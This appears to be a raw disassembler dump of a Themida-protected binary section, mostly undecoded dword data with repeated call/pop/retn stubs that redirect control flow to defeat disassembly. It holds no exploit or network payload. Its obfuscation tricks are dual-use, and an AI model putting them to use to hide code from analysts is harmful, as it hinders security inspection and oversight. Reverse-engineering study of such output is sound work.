dd 3481AB77h, 8502ED24h, 9D95896Fh, 6A07FA2Ch, 0AD9D8BFFh
dd 6607FA26h, 3A96E381h, 154195FFh, 0B58907FAh, 7FA0FA5h
dd 59E5BA61h, 8ABA59F7h, 9047FCD8h, 12E9h, 4269D000h, 5D54E9D8h
dd 130EDE52h, 4FCA3D83h, 5038156Eh, 990D38Bh, 0FA18B99Dh
dd 0F5858B07h, 0B07FA0Eh, 48840FC0h, 60000000h, 0EE9h
dd 0DF786500h, 3153DD44h, 4737C856h, 89A81656h, 0FA32119Dh
dd 95FF6107h, 7FA10FDh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 0A4C35242h, 8B7C3F52h, 489FBB0Bh, 0C767B667h
dd 0FA0B6D85h, 107h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 9D8B47DFh, 7FA1681h, 1561BD83h
dd 0F0007FAh, 2384h, 0D9B58900h, 6607FA0Ch, 95FFDE8Bh
dd 7FA0E85h, 0EE9h, 0B18C8F00h, 587B650Ah, 24734ED9h, 0F5B2C91Dh
dd 254DBD83h, 0F0007FAh, 2784h, 0EE85100h, 0F3000000h
dd 0C3492FCFh, 54AC3008h, 6DFC88B6h, 24BBB0h, 5A5B3ED3h
dd 7B995FFh, 9D8B07FAh, 7FA204Dh, 0D29BD83h, 0F0007FAh
dd 4A84h, 0CD958B00h, 8307FA08h, 0FA2579BDh, 850F0007h
dd 37h, 0E8D0Fh, 0E9560000h, 7, 42C8198h, 5B7192B1h, 17A595FFh
dd 6A07FAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
dd 56460000h, 83412EC3h, 0FA1D21BDh, 840F0007h, 24h, 169D9501h
dd 858107FAh, 7FA20C9h, 4003h, 858194B2h, 7FA1581h, 4003h
dd 3B49F381h, 0D88B1FE5h, 9D8B310Fh, 7FA019Dh, 5F6D8D8Dh
dd 0B52907FAh, 7FA2459h, 0FE9h, 0F90C2900h, 5C17EBDEh
dd 0E856912Ch, 29C2AAE3h, 8D890189h, 7FA076Dh, 6AC233h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 5DD342C3h, 984A8AC7h, 0FE8h, 32D41600h, 0C9604BBh, 0FE9AB1FCh
dd 26F83472h, 5ABBE680h, 0F044189h, 282h, 0FD68B00h, 0D68B6631h
dd 5F798D8Dh, 958B07FAh, 7FA0F9Dh, 7E90189h, 0CE000000h
dd 15F09435h, 0C233552Ah, 20F9958Bh, 418907FAh, 0E0F2BB04h
dd 0BD834387h, 7FA2B35h, 48840F00h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 7988C353h, 0FFD8BF0Fh, 0FA00C195h, 55006A07h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 0F1958B78h, 8307FA17h, 0FA15B5BDh, 850F0107h, 3Ch, 0BB666052h
dd 5B612AAEh, 2FE9h, 59958B00h, 8B07FA23h, 0FA609BB5h
dd 6C707h, 8B000000h, 0FA5E9FB5h, 6C707h, 0CF000000h, 14D28166h
dd 0CB81660Fh, 9589EECCh, 7FA18F5h, 0B6DBD83h, 0F0007FAh
dd 1DA84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 9F694720h, 0BAD45E56h, 9D2B4356h
dd 7FA1D19h, 2F15BD83h, 0F0107FAh, 16885h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 8C66B3A9h, 0BB97BE7Eh, 77DFE476h, 4EFC8D8Bh, 0D78007FAh
dd 9E96Ch, 5790000h, 0EEBCCC33h, 0C691F17Ah, 0EE80001h
dd 12000000h, 0FF9BD78Ah, 7D4C7475h, 0E4FCB186h, 259D0B5Eh
dd 5B07FA2Fh, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 0B45E97Bh, 8A8E3C2Dh, 230D68FDh
dd 0AE96EF1h, 0A000000h, 321DCF31h, 554FF78Ah, 24348108h
dd 6EF1238Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 18h, 0FCC35545h, 0E5DF1F7Fh, 9D89D18Bh, 7FA1741h, 6AFF6Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 616A28C3h, 0FFDE8B99h, 0FA154195h, 57006A07h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 8B6159A7h, 0FA110D95h, 1195FF07h, 907FA0Eh, 0FA268595h
dd 0FC8D8B07h, 6A07FA4Eh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 0CD7BC353h, 4D7DBD2Ah
dd 0D98D293Bh, 0E907FA00h, 11h, 0FA49E44Dh, 87811541h
dd 0BE883819h, 0C3A988F9h, 8101FE28h, 2BA7B8D3h, 21BD833Eh
dd 107FA29h, 2D850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 21C615C3h, 6E92134h
dd 0AB000000h, 0C5923D1Bh, 8BA6B3E8h, 0BD83FCC0h, 7FA2ACDh
dd 83097500h, 0FA1899BDh, 1A740007h, 0C08B5350h, 20C9858Bh
dd 858907FAh, 7FA20C9h, 0E2249D8Dh, 0D3FF07FCh, 0BD83585Bh
dd 7FA1899h
dd 50187400h, 0C9858B53h, 8907FA20h, 0FA20C985h, 139D8D07h
dd 0FF07FCDFh, 0F585BD3h, 687h, 0C9B58900h, 6A07FA14h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 5CA8C351h, 0D59E604Fh, 0E853E7A2h, 8, 2BD4F58Ch
dd 8D5EA12Eh, 2199523h, 5A5A07FAh, 0F88AC08Bh, 0B6DBD83h
dd 0F0007FAh, 6085h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 91C3207h, 0FA08498Dh
dd 0BE807h, 69550000h, 0B6F4E6DDh, 0CEA843E8h, 69B58903h
dd 5B07FA11h, 2F05BD83h, 0F0007FAh, 1884h, 13E900h, 4C210000h
dd 65217918h, 10653100h, 0F7120477h, 3254D8E7h, 6DBD833Bh
dd 7FA0Bh, 26840Fh, 95290000h, 7FA2375h, 2ECDBD83h, 0F0007FAh
dd 1384h, 0EA816600h, 9E90346h, 0F2000000h, 0B67DBC91h
dd 0BFDC4607h, 0B6DBD83h, 0F0007FAh, 1A84h, 0CDBD8300h
dd 7FA2Eh, 0D840Fh, 0B5890000h, 7FA2F81h, 1860Fh, 83FC0000h
dd 0FA0B6DBDh, 840F0007h, 4Eh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 9DC35040h, 0E82ECE2Dh, 13h
dd 5693C59Fh, 9895E7AAh, 0AF677B7Ah, 30F16BEEh, 0F80D58BFh
dd 0D78B665Bh, 17DBD83h, 0F0007FAh, 584h, 0DB816600h, 0BD835E43h
dd 7FA0B6Dh, 3E840F00h, 0FC000000h, 290DBD83h, 0F0007FAh
dd 3084h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 5529ADDh, 2BE59D01h, 95FF07FAh, 7FA2645h
dd 0BED38166h, 89C08BF9h, 0FA1DEDB5h, 0CDBD8307h, 7FA2Ah
dd 0BD830975h, 7FA1899h, 501A7400h, 8BC08B53h, 0FA158185h
dd 81858907h, 8D07FA15h, 0FCE28B9Dh, 5BD3FF07h, 99BD8358h
dd 7FA18h, 53501874h, 1581858Bh, 858907FAh, 7FA1581h, 0DF2C9D8Dh
dd 0D3FF07FCh, 6A585Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 0F60C50C3h, 5D9D8B7Fh, 0E907FA06h
dd 0Dh, 6588056Ch, 901FEAF1h, 0B04BFB90h, 0CE93Bh, 88900000h
dd 0E6D6D686h, 0E0E596FFh, 6A6BE7h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 832FA9C3h
dd 648F1139h, 950BC08Bh, 7FA07CDh, 0B6DBD83h, 0F0007FAh
dd 32684h, 0D1BD8900h, 8B07FA18h, 0FA0DB99Dh, 75BD8307h
dd 207FA0Bh, 23840Fh, 8E0F0000h, 4, 0D191BA66h, 0B5BD83FCh
dd 107FA15h, 0B850Fh, 6E90000h, 20000000h, 0E958EBA9h
dd 0F38160D4h, 37385813h, 4EFC8D8Bh, 0B58907FAh, 7FA0141h
dd 6A01FEh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 41ACABC3h, 39A701BAh, 4E844h, 800000h, 5E90000h
dd 29000000h, 0D868EE5Ah, 12E850h, 0F8F70000h, 0B34FC513h
dd 0D4F9F24Ch, 93A8CE3Fh, 0A2D3F9CBh, 0AEF503BAh, 448B5A2Eh
dd 39B30424h, 8B66008Bh, 244489D3h, 58B7B604h, 1810Fh
dd 6AF80000h, 68D281FFh, 0FF26ABFDh, 0FA154195h, 9D953307h
dd 6107FA08h, 1671958Bh, 816607FAh, 8D6EB3CBh, 0FA2889BDh
dd 8B33B307h, 8B661C4Fh, 8B016ADFh, 0BA6050D0h, 40BB92F2h
dd 2890Fh, 0F58A0000h, 240C8961h, 2C259589h, 858D07FAh
dd 7FD6A64h, 0EB80D18Bh, 1D0FF94h, 0FA18659Dh, 204F8B07h
dd 1830Fh, 6AF80000h, 619D8B03h, 9107FA26h, 0D18B6660h
dd 0FE9h, 28F91E00h, 0D553E142h, 16744705h, 21F815AEh
dd 8B915061h, 0FA2DB59Dh, 64858D07h, 0E907FD6Ah, 11h, 1892EEE4h
dd 2297FACFh, 157D5512h, 4B272655h, 6AD0FF2Ch, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 5768C351h, 5BD7BF0Fh, 2889BD8Dh, 4F8B07FAh, 0ACBA661Ch
dd 8B016A06h, 0FA0F5595h, 7E89107h, 4D000000h, 68A6DE7Ah
dd 860F4240h, 4, 258BBB66h, 6660505Bh, 0F38BC38Bh, 860F9161h
dd 17h, 0BE8h, 798FDC00h, 0A5C16BDEh, 585E3289h, 0AC9B531h
dd 8D5B07FAh, 0FD6A6485h, 0D2816607h, 0D0FF8EA3h, 0E977BA66h
dd 6A204F8Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 0ABE9C353h, 4089F373h, 36A265Dh
dd 3CBB6653h, 9D295BA6h, 7FA1D8Dh, 0D68B6650h, 6A240C89h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 0C38FC356h, 468CEE36h, 8DB4575Bh, 0FD6A6485h
dd 0B8BA6607h, 66D0FF60h, 8BB272BBh, 0FA4EFC8Dh, 45ADBB07h
dd 1FE7290h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 0D2C35141h, 8B7A5886h, 0FA4EFC85h, 8D295207h, 7FA244Dh
dd 8900FE5Bh, 0FA27959Dh, 0BA016A07h, 6D49B17Fh, 4E8h
dd 0FF9FFF00h, 5E860FFh, 1000000h, 0EE3A1A7Ah, 0CE8h, 2F8B4000h
dd 30071095h, 0C511CF75h, 8B585B95h, 665061DEh, 8B67A1BBh
dd 0F042444h, 485h, 0E2BA6600h, 0E8008B82h, 10h, 478D294Dh
dd 71A6698Ch, 284E6C3Bh, 0B84F44C1h, 61605250h, 0D08B310Fh
dd 895A585Ah, 58042444h, 0DB5958Bh, 858D07FAh, 7FD6A6Eh
dd 0FF35D280h, 0AD9589D0h, 8307FA2Dh, 0FA2F05BDh, 840F0007h
dd 9Dh, 83C9D780h, 0FA33EDBDh, 850F0107h, 8Dh, 16C1958Bh
dd 8D8D07FAh, 7FD6A78h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 0C0C35242h, 0BABDCB81h, 36A27A8h, 0AE9h
dd 313D4800h, 72202418h, 6A75AEB6h, 0FFD38B01h, 11958BD1h
dd 6607FA1Ch, 2119DB81h, 9D8B016Ah, 7FA2A89h, 8166016Ah
dd 0FFE92BD3h, 0E8D08BD1h, 0F8616D4Bh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 84C35747h, 16DFBAEFh, 0CF8022B7h
dd 51206A9Dh, 5AC0D680h, 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 29D99CC3h, 0FA0F699Dh
dd 4195FF07h, 6A07FA15h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 96E1C353h, 952B71E7h
dd 7FA2D61h, 0B8h, 519D8B00h, 0B07FA28h, 37840FC0h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 0C71CC356h, 831F0A13h, 0FA2BE9BDh, 840F0007h
dd 0Ah, 0FFD78B66h, 0FA312595h, 858BF907h, 7FA1615h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 21C35545h, 503A03C1h
dd 5810Fh, 81660000h, 5A9BFCC3h, 6A0000C6h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0C42FC353h
dd 36EFB0DFh, 8B3FFC72h, 0FA2F5D9Dh, 95895807h, 7FA286Dh
dd 80D98C66h, 0C1F60DF7h, 80840F04h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 747AC350h, 56BB741Bh, 0E94600A8h, 57h, 0D7C38166h, 3D9589B3h
dd 8B07FA23h, 0FA1505B5h, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 319B4722h
dd 0FA07B195h, 80C68107h, 0E9000011h, 10h, 0D49E51DFh
dd 1C0D7F7Ah, 0F8AE635Ah
dd 0FDA5390h, 6C7h, 5EF90000h, 0AAD38166h, 0F8830Ch, 0BAC840Fh
dd 0F8830000h, 2E850F01h, 6A000001h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F32C356h
dd 28Ah, 0B8DC8A00h, 0
; ---------------------------------------------------------------------------
mov [ebp+7FA08B5h], edi
or eax, eax
jz loc_58A022
push 0
push edx
call sub_589F91
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589F91 proc near ; CODE XREF: Themida_:00589F89p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_589F91 endp
; ---------------------------------------------------------------------------
db 14h, 0A6h, 76h
dd 8AB26053h, 6840FD8h, 8B000000h, 0FA16C995h, 1F88307h
dd 9A840Fh, 0FCBB0000h, 6659F572h, 7506DA81h, 0F03F883h
dd 1C84h, 859D8900h, 2B07FA08h, 498D89C0h, 8D07FA0Eh, 5B89E0BDh
dd 0FFDF8B00h, 0C4BA66E7h, 1B860h, 81660000h, 8DD836F3h
dd 5B89E0BDh, 0E59D8B00h, 0FF07FA29h, 55006AE7h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
; ---------------------------------------------------------------------------
jb short loc_58A04B
loc_58A022: ; CODE XREF: Themida_:00589F80j
lea edi, [ebp+7FA4588h]
push 0
push edx
call sub_58A033
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A033 proc near ; CODE XREF: Themida_:0058A02Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_58A033 endp
; ---------------------------------------------------------------------------
db 0E4h
dd 9CEE46F9h
db 0BCh, 5Eh, 0A2h
; ---------------------------------------------------------------------------
loc_58A04B: ; CODE XREF: Themida_:0058A020j
bound edx, [esi-17h]
sbb [ebx], eax
; ---------------------------------------------------------------------------
dd 0B5290000h, 7FA1F2Dh, 4F5785C7h, 507FAh, 8B660000h
dd 5B8DAh, 0DE8B0000h, 9D4E9h, 0D958B00h, 8B07FA10h, 0FA2F0D9Dh
dd 2F88307h, 113850Fh, 0EFBA0000h, 0B83F5DD1h, 0
; ---------------------------------------------------------------------------
jno loc_58A09B
mov edx, 68B9AD67h
loc_58A09B: ; CODE XREF: Themida_:0058A090j
or eax, eax
jz loc_58A14F
push 0
push esi
call sub_58A0AE
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A0AE proc near ; CODE XREF: Themida_:0058A0A6p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_58A0AE endp
; ---------------------------------------------------------------------------
dw 8A9Fh
dd 1F883F0h, 0FF8E840Fh, 6AFFFFh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 37D134C3h, 6181E7A6h
dd 667BAD86h, 5151DBBAh, 5AD0BF0Fh, 0F03F883h, 0FFFEEC84h
dd 0D0B70FFFh, 0E95DB760h, 10h, 255EC911h, 67E3136Eh, 0E4A1F4C7h
dd 6623A1ADh, 0B861h, 0BD890000h, 7FA14DDh, 5850F60h, 0BB000000h
dd 1A59214Dh, 0AD8589h, 8D6107FAh, 5B89E0BDh, 59D8B00h
dd 0FF07FA18h, 559D89E7h
; ---------------------------------------------------------------------------
sub edi, edx
pop es
loc_58A14F: ; CODE XREF: Themida_:0058A09Dj
lea edi, [ebp+7FA4780h]
jmp loc_58A16B
; ---------------------------------------------------------------------------
dw 0F9E8h
; ---------------------------------------------------------------------------
add ah, [ecx+41h]
mov dl, 0B4h
dec ebx
jnp short loc_58A19A
cmp ebp, ss:[ebx-4047FB6Bh]
loc_58A16B: ; CODE XREF: Themida_:0058A155j
jmp loc_58A36B
; ---------------------------------------------------------------------------
push 0
push edi
call sub_58A17B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A17B proc near ; CODE XREF: Themida_:0058A173p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_58A17B endp
; ---------------------------------------------------------------------------
db 24h
dd 0AD958B3Bh, 2907FA0Ch, 0FA2039BDh
db 7, 83h
; ---------------------------------------------------------------------------
loc_58A19A: ; CODE XREF: Themida_:0058A162j
clc
add ecx, [edi]
test [edx], edx
; ---------------------------------------------------------------------------
db 0
dd 0D88B0000h, 4914BD8Dh, 5B5307FAh, 1BAE9h, 0DEBF0F00h
dd 0F05F883h, 4A85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 1B5172DDh, 0AD07E373h
dd 8501FA32h, 7FA2DE5h, 68E0Fh, 95030000h, 7FA0205h, 84CE9h
dd 9E900h, 21F20000h, 0CBDD2CA8h, 8364E753h, 850F06F8h
dd 6Ah, 11199D03h, 0BD8D07FAh, 7FA4B0Ch, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 1Ah, 96C35040h, 8997E74Ch
dd 10E9CA3Ch, 0D5000000h, 0A55154CDh, 4637899h, 6C97B4FEh
dd 0E9D9462Ah, 113h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 0DFC35242h, 22B1958Bh, 0F88307FAh, 8E850F07h
dd 89000000h, 0FA1F798Dh, 959D8B07h, 8D07FA0Ch, 0FA0311BDh
dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 6063D5B9h, 214D8D8Bh, 0C4BA07FAh, 614ACDF8h
dd 9E9h, 0C55E6900h, 0D30C1BACh, 16E9E4E7h, 6A000001h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 0C94DC352h, 4D2EDF82h, 9BD3160h, 8907FA16h
dd 0FA2AD59Dh, 0E9566107h, 8, 0AA59DEF7h, 39BC6D50h, 0AF8835Bh
dd 51850Fh, 0D3810000h, 82AC5A2h, 4D04BD8Dh, 0BF0F07FAh
dd 3DE9D0h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 2A6DDEC3h, 0D3FD29DDh, 0E9C092E6h
dd 13h, 25D36A62h, 55D63781h, 0F7C98899h, 0FAC23544h
; ---------------------------------------------------------------------------
or al, 60h
cmc
loc_58A36B: ; CODE XREF: Themida_:loc_58A16Bj
push edi
mov dx, ax
mov ecx, 505DF03Ah
mov edx, ecx
cmp dword ptr [edi], 0
jz loc_58A3E5
push 0
push edi
call sub_58A38A
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A38A proc near ; CODE XREF: Themida_:0058A382p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_58A38A endp
; ---------------------------------------------------------------------------
dw 4DDCh
dd 869005C4h, 8986962Eh, 0FA101D8Dh, 0E80F3007h, 8, 85336C8Eh
dd 3821E246h, 234D952Bh, 0D15A07FAh, 898BBC9h, 0E9476C21h
dd 0Eh, 0AA065255h, 39266FF7h, 56168C9Eh, 97E90957h, 89FFFFFFh
dd 0FA2E91B5h
; ---------------------------------------------------------------------------
pop es
loc_58A3E5: ; CODE XREF: Themida_:0058A379j
pop edi
movsx edx, dx
mov [ebp+7FA4F00h], edi
mov edx, 5345BDE9h
lea ecx, [ebp+7FA1FA1h]
cld
push dword ptr [ebp+7FA0EBDh]
push 0
push ebx
call sub_58A40C
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A40C proc near ; CODE XREF: Themida_:0058A404p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_58A40C endp
; ---------------------------------------------------------------------------
dd 74A672B0h, 893EE6A7h, 0FA2EB185h, 8A858D07h, 5007FCD3h
dd 56FDBD8Dh, 8D8D07FAh, 7FA7002h, 831ABCB8h, 30CF2B54h
dd 47C8D007h, 8DF87549h, 0FA6FA4B5h, 1A8D8D07h, 2B07FA70h
dd 33A4F3CFh, 0B8C9h, 0C00B0000h, 0BD834674h, 7FA2BE9h
dd 0FF067400h, 0FA312595h, 0B58B07h, 8D07FA4Fh, 0FCD38A85h
dd 8DD0FF07h, 0FA435485h, 0C7D0FF07h, 0FA067185h, 107h
dd 0B1A58B00h, 8B07FA2Dh, 0FA32C5B5h, 0D5AD8B07h, 3307FA1Dh
dd 0CC2C0h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 4AC35646h, 0E79EA282h, 6A9209h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0D7B731C3h
dd 1B8A4EBEh, 0E860C832h, 0Fh, 2E343835h, 0BF8A0AD4h, 2904E432h
dd 52730916h, 81B25F5Eh, 0F1BD8361h, 7FA26h, 2B840Fh, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 6F6A36C3h, 711C1213h, 0FF769851h, 0FA152195h, 5BD8307h
dd 7FA2Ch, 1BA850Fh, 0BF0F0000h, 0EDBD83DFh, 107FA33h
dd 1AA850Fh, 870F0000h, 6, 2FA99D8Bh, 6ABA07FAh, 830C163Ch
dd 0FA000DBDh, 840F0007h, 18Ch, 2405D281h, 85890F7Eh, 7FA29C9h
dd 4F53BD83h, 0F0007FAh, 17384h, 858B6000h, 7FA296Dh, 0E024BF66h
dd 8A858D61h, 6A07FCD3h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 0BE0AC356h, 3F14CC0Bh
dd 0A98D890Eh, 8B07FA23h, 0FA4F00B5h, 0FFF48A07h, 89D8B2D0h
dd 0FA0D598Dh, 6585C607h, 5407FA06h, 0E8D8B70Fh, 4, 0FF4EBEF4h
dd 2850Fh, 0D68B0000h, 0FE32BB50h, 448B26DCh, 54B70424h
dd 6053008Bh, 61D78B66h, 2444895Bh, 7EB66004h, 0FB8B5250h
dd 5A56310Fh, 5861585Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 0E1C35646h, 12DCABF4h, 0A5B5FF5Fh, 6A07FA08h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 0A63AC356h, 52496C0Ch, 0D3BA6612h, 0E2858DDFh
dd 6A07FA3Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 30A9C353h, 3829DE87h, 13DB93B8h
dd 5E9h, 0DFA61F00h, 0D0FFF162h, 22E19D8Bh, 6A07FAh, 0FF6A6DB3h
dd 0F88AD0FFh, 212DB5FFh, 6A07FAh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 816698C3h, 0FFCF88D3h
dd 0FA0EBD95h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 0B173519Ah, 0C1E68027h
dd 4F00B58Bh, 958907FAh, 7FA2955h, 2C9D9D8Bh, 6AC307FAh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 1949C355h, 1615B58Bh, 0B52907FAh, 7FA0CCDh
dd 840FF60Bh, 28h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 0DFC35646h, 0C6ACE145h, 0B5010006h, 7FA15E5h
dd 4F088589h, 0FE807FAh, 0A0000000h, 231C79Ah, 934B8C69h
dd 4526539Ch, 810FE972h, 6, 16ED9501h, 835A07FAh, 840F00F8h
dd 34Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 4DC35040h, 226C6FFDh, 24B2D189h, 0A19D8BF2h, 0B807FA0Fh
dd 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_58A7E3
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A7E3 proc near ; CODE XREF: Themida_:0058A7DBp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_58A7E3 endp
; ---------------------------------------------------------------------------
db 0E3h
dd 0F59743A5h, 0AD85896Dh, 8307FA25h, 840F00F8h, 9Ch, 5860Fh
dd 8ABA0000h, 83508982h, 850F02F8h, 4Fh, 6860Fh, 95030000h
dd 7FA145Dh, 4583858Dh, 820F07FAh, 3, 2D36E280h, 929h
dd 8BCF8A60h, 0FA14B9B5h, 0E8506107h, 0Bh, 0F6E873B2h
dd 0DB42AA63h, 66289700h, 895BD08Bh, 0BF0F2404h, 5EB2C3D3h
dd 18E0Fh, 0B8FC0000h, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_58A87B
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A87B proc near ; CODE XREF: Themida_:0058A873p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_58A87B endp
; ---------------------------------------------------------------------------
db 6Ch
; ---------------------------------------------------------------------------
addps xmm7, oword ptr ds:0D4C8CD01h
cld
mov edx, 5185C3ABh
jmp loc_58AAF2
; ---------------------------------------------------------------------------
mov ebx, [ebp+7FA001Dh]
mov eax, 1
push 0
push ebp
call sub_58A8B4
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A8B4 proc near ; CODE XREF: Themida_:0058A8ACp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_58A8B4 endp
; ---------------------------------------------------------------------------
dd 6CC9DF93h, 59FCF4F4h, 8D958B68h, 8D07FA27h, 0FA4588BDh
dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 0D74A33DBh, 0F1A9965Bh, 6E9h, 0C773BF00h
dd 0E9775C70h, 0B2h, 1F59958Bh, 0BD0107FAh, 7FA00D1h, 0F02F883h
dd 6685h, 0A1BB6600h, 80BD8D31h, 0E807FA47h, 10h, 4AA3EFE3h
dd 0CC9BF27h, 5584719h, 3E73082Ch, 5E8h, 0EAEC6D00h, 28BA828Ch
dd 5A671170h, 68E95Ah, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 850F22C3h, 3, 0FD9B70Fh
dd 682h, 259D8B00h, 8307FA06h, 850F03F8h, 14h, 0BD8DD68Bh
dd 7FA4914h, 0E9D6B70Fh, 1Eh, 0E7CDBA66h, 0F05F883h, 1185h
dd 93E900h, 95290000h, 7FA291Dh, 1E799589h, 895707FAh
dd 0FA18E585h, 0F03AB907h, 890F505Dh, 3, 83DEB70Fh, 840F003Fh
dd 69h, 2E1958Bh, 9D8B07FAh, 7FA2B19h, 6A0F30h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 8B6665C3h, 6AC9D1D1h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 5B5CC351h, 0DA97A265h
dd 47E62CBBh, 3820Fh, 8B660000h, 0FF95E9DEh, 0DE80FFFFh
dd 0B1BB66FFh, 5F8834Fh, 0A4850Fh, 0DE80000h, 71000000h
dd 86BB725h, 3683F648h, 0B2EF5AEh, 2779958Bh, 665A07FAh
